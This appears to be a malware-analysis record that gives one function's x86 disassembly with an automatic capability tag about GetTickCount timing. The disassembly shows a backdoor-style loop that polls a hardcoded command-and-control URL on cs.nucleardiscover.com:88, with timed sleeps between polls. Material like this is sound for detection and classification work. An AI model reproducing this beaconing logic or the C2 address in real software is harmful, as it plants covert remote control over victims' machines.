Function at 0x404310
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x54
mov eax, dword [0x47469c]
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x50]
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], eax
call fcn.0045db8c
mov eax, dword [esp + 0x70]
lea ecx, [esp + 0x18]
push eax
call fcn.0045e434
push str.cookiepath:
lea ecx, [esp + 0x1c]
call fcn.0045d68a
cmp eax, 0xffffffff
je 0x4043a8
push ecx
add eax, 0xb
mov ecx, esp
mov dword [esp + 0x74], esp
push eax
push ecx
lea ecx, [esp + 0x24]
call fcn.0045d4bb
call fcn.00404910
add esp, 4
lea ecx, [esp + 0x18]
call fcn.0045e3c6
lea ecx, [esp + 0x50]
call fcn.0045dbbf
lea ecx, [esp + 0x10]
call fcn.0045e3c6
lea ecx, [esp + 0x1c]
call fcn.0045e3c6
lea ecx, [esp + 0x14]
call fcn.0045e3c6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x54
ret 0x10
push 1
lea edx, [esp + 0x74]
push 1
push edx
call fcn.00406520
add esp, 0xc
lea ecx, [esp + 0x70]
call fcn.0045e3c6
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
push str.http:__cs.nucleardiscover.com:88_getCookie.asp
lea ecx, [esp + 0x18]
call fcn.0045e503
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x404421
lea ecx, [esp + 0x10]
push ecx
push str._ids
lea ecx, [esp + 0x28]
call fcn.0045e434
lea edx, [esp + 0x74]
push eax
push edx
call fcn.0045e5a9
push eax
lea ecx, [esp + 0x18]
call fcn.0045e77d
lea ecx, [esp + 0x70]
call fcn.0045e3c6
lea ecx, [esp + 0x20]
call fcn.0045e3c6
push 0x50
push 0
push ecx
mov ecx, esp
mov dword [esp + 0x44], esp
push 0x477c28
call fcn.0045e434
push 0
push 0
push ecx
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x477c28
call fcn.0045e434
push ecx
lea eax, [esp + 0x30]
mov ecx, esp
mov dword [esp + 0x54], esp
push eax
call fcn.0045e13b
lea ecx, [esp + 0x40]
push ecx
call section..text
add esp, 0x20
lea ecx, [esp + 0x14]
push eax
call fcn.0045e4b3
lea ecx, [esp + 0x24]
call fcn.0045e3c6
mov edx, dword [esp + 0x14]
mov eax, dword [edx - 8]
test eax, eax
jne 0x404490
push 0x1388
call ebp
jmp 0x404421
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x46f3bc
call fcn.0045e434
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x40], esp
push eax
call fcn.0045e13b
lea ecx, [esp + 0x58]
push ecx
call fcn.00404dc0
mov eax, dword [esp + 0x64]
add esp, 0xc
xor esi, esi
test eax, eax
jle 0x404561
lea ecx, [esp + 0x3c]
call fcn.0045db8c
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x46f3c8
call fcn.0045e434
push ecx
lea ecx, [esp + 0x58]
mov edx, esp
mov dword [esp + 0x40], esp
push esi
push edx
call fcn.00404640
lea eax, [esp + 0x44]
push eax
call fcn.00404dc0
mov eax, dword [esp + 0x50]
add esp, 0xc
cmp eax, 2
jl 0x40454b
push 0x46f3c4
lea ecx, [esp + 0x30]
push 0
push ecx
lea ecx, [esp + 0x48]
call fcn.00404640
lea edx, [esp + 0x2c]
push eax
push edx
call fcn.0045e60f
push eax
lea ecx, [esp + 0x14]
call fcn.0045e77d
lea ecx, [esp + 0x28]
call fcn.0045e3c6
lea ecx, [esp + 0x2c]
call fcn.0045e3c6
lea ecx, [esp + 0x3c]
call fcn.0045dbbf
mov eax, dword [esp + 0x58]
inc esi
cmp esi, eax
jl 0x4044cd
mov eax, dword [esp + 0x10]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x4045c8
lea ecx, [esp + 0x30]
push 1
push ecx
lea ecx, [esp + 0x18]
call fcn.0045d574
mov eax, dword [eax]
push 0x46f3c4
push eax
call fcn.004531a1
add esp, 8
lea ecx, [esp + 0x30]
test eax, eax
sete bl
call fcn.0045e3c6
test bl, bl
je 0x4045c8
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
mov eax, dword [edx - 8]
dec eax
push eax
lea eax, [esp + 0x38]
push eax
call fcn.0045d5f0
push eax
lea ecx, [esp + 0x14]
call fcn.0045e4b3
lea ecx, [esp + 0x34]
call fcn.0045e3c6
call edi
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov esi, edx
shr esi, 6
call edi
mov edx, eax
mov eax, 0x10624dd3
mul edx
shr edx, 6
sub edx, esi
cmp edx, 0xe10
jae 0x4043ce
push ecx
lea eax, [esp + 0x18]
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.0045e13b
call fcn.00404670
add esp, 4
push 0x36ee80
call ebp
call edi
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
sub edx, esi
cmp edx, 0xe10
jb 0x4045f4
jmp 0x4043ce